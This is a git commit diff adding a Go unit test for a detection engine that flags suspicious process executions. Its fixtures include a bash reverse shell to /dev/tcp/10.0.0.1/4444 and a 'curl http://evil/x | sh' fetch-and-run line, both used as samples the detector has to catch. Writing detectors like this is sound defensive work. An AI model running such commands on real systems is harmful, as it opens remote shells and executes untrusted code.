feat(go): advance validation sidecar toward production
This commit is contained in:
parent
6a06eba255
commit
f85c2e831a
92 changed files with 8881 additions and 91 deletions
109
go-agent/internal/events/exec_rules_test.go
Normal file
109
go-agent/internal/events/exec_rules_test.go
Normal file
|
|
@ -0,0 +1,109 @@
|
|||
// SPDX-License-Identifier: GPL-3.0-or-later
|
||||
|
||||
package events
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"reflect"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func execEvent(filename string, argv []string, parent string) ExecEvent {
|
||||
return ExecEvent{
|
||||
PID: 10, PPID: 9, UID: 0, ParentComm: parent,
|
||||
Filename: filename, Argv: argv,
|
||||
}
|
||||
}
|
||||
|
||||
func TestDefaultExecRulesMatchPythonFixtures(t *testing.T) {
|
||||
engine := DefaultExecRuleEngine()
|
||||
tests := []struct {
|
||||
event ExecEvent
|
||||
sid int
|
||||
}{
|
||||
{execEvent("/tmp/.x/dropper", nil, "bash"), 100001},
|
||||
{execEvent("/bin/bash", []string{"-c", "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"}, "bash"), 100002},
|
||||
{execEvent("/usr/bin/python3", []string{"-c", "import socket; socket.socket()"}, "bash"), 100002},
|
||||
{execEvent("/bin/sh", []string{"-c", "id"}, "nginx"), 100003},
|
||||
{execEvent("/bin/sh", []string{"-c", "curl http://evil/x | sh"}, "bash"), 100004},
|
||||
}
|
||||
for _, test := range tests {
|
||||
found := false
|
||||
for _, alert := range engine.Match(test.event) {
|
||||
if alert.SID == test.sid {
|
||||
found = true
|
||||
}
|
||||
}
|
||||
if !found {
|
||||
t.Fatalf("sid %d did not match %#v", test.sid, test.event)
|
||||
}
|
||||
}
|
||||
if alerts := engine.Match(execEvent("/usr/bin/ls", []string{"-la"}, "bash")); len(alerts) != 0 {
|
||||
t.Fatalf("benign command matched: %#v", alerts)
|
||||
}
|
||||
}
|
||||
|
||||
func TestExecAlertContract(t *testing.T) {
|
||||
event := execEvent("/tmp/x", nil, "bash")
|
||||
alert := DefaultExecRuleEngine().Match(event)[0]
|
||||
if alert.SID != 100001 || alert.Severity != "CRITICAL" ||
|
||||
alert.Signature != "exec_rule.fileless-execution" ||
|
||||
alert.Key != "exec:100001:10" || !reflect.DeepEqual(alert.PIDs, []int{10}) {
|
||||
t.Fatalf("unexpected alert: %#v", alert)
|
||||
}
|
||||
want := "sid=100001 Program executed from a world-writable directory — pid=10 ppid=9 parent=bash exec=/tmp/x argv=[/tmp/x]"
|
||||
if alert.Detail != want {
|
||||
t.Fatalf("detail mismatch:\n got: %s\nwant: %s", alert.Detail, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestExecRuleValidationAndParentExclude(t *testing.T) {
|
||||
if _, err := NewExecRule(ExecRule{SID: 999}); err == nil {
|
||||
t.Fatal("conditionless rule was accepted")
|
||||
}
|
||||
rule, err := NewExecRule(ExecRule{
|
||||
SID: 1, Severity: "HIGH", Classtype: "test",
|
||||
ExecComms: map[string]bool{"bash": true},
|
||||
ParentExclude: map[string]bool{"sshd": true},
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !rule.Matches(execEvent("/bin/bash", nil, "cron")) ||
|
||||
rule.Matches(execEvent("/bin/bash", nil, "sshd")) {
|
||||
t.Fatal("parent exclusion semantics drifted")
|
||||
}
|
||||
}
|
||||
|
||||
func TestLoadConfiguredExecRules(t *testing.T) {
|
||||
path := filepath.Join(t.TempDir(), "rules.toml")
|
||||
raw := []byte(`
|
||||
[[exec_rules]]
|
||||
sid = 190001
|
||||
msg = "Custom interpreter rule"
|
||||
severity = "critical"
|
||||
classtype = "custom-exec"
|
||||
exec_comm = [
|
||||
"bash",
|
||||
"zsh",
|
||||
]
|
||||
parent_comm = ["cron"]
|
||||
parent_exclude = ["sshd"]
|
||||
argv_regex = 'danger\s+now'
|
||||
`)
|
||||
if err := os.WriteFile(path, raw, 0o600); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
engine, err := LoadExecRuleEngine(path)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if got := engine.RuleSIDs(); !reflect.DeepEqual(got, []int{100001, 100002, 100003, 100004, 190001}) {
|
||||
t.Fatalf("unexpected rule catalog: %#v", got)
|
||||
}
|
||||
alerts := engine.Match(execEvent("/bin/bash", []string{"danger", "now"}, "cron"))
|
||||
if len(alerts) != 1 || alerts[0].SID != 190001 || alerts[0].Severity != "CRITICAL" {
|
||||
t.Fatalf("configured rule mismatch: %#v", alerts)
|
||||
}
|
||||
}
|
||||
Loading…
Add table
Add a link
Reference in a new issue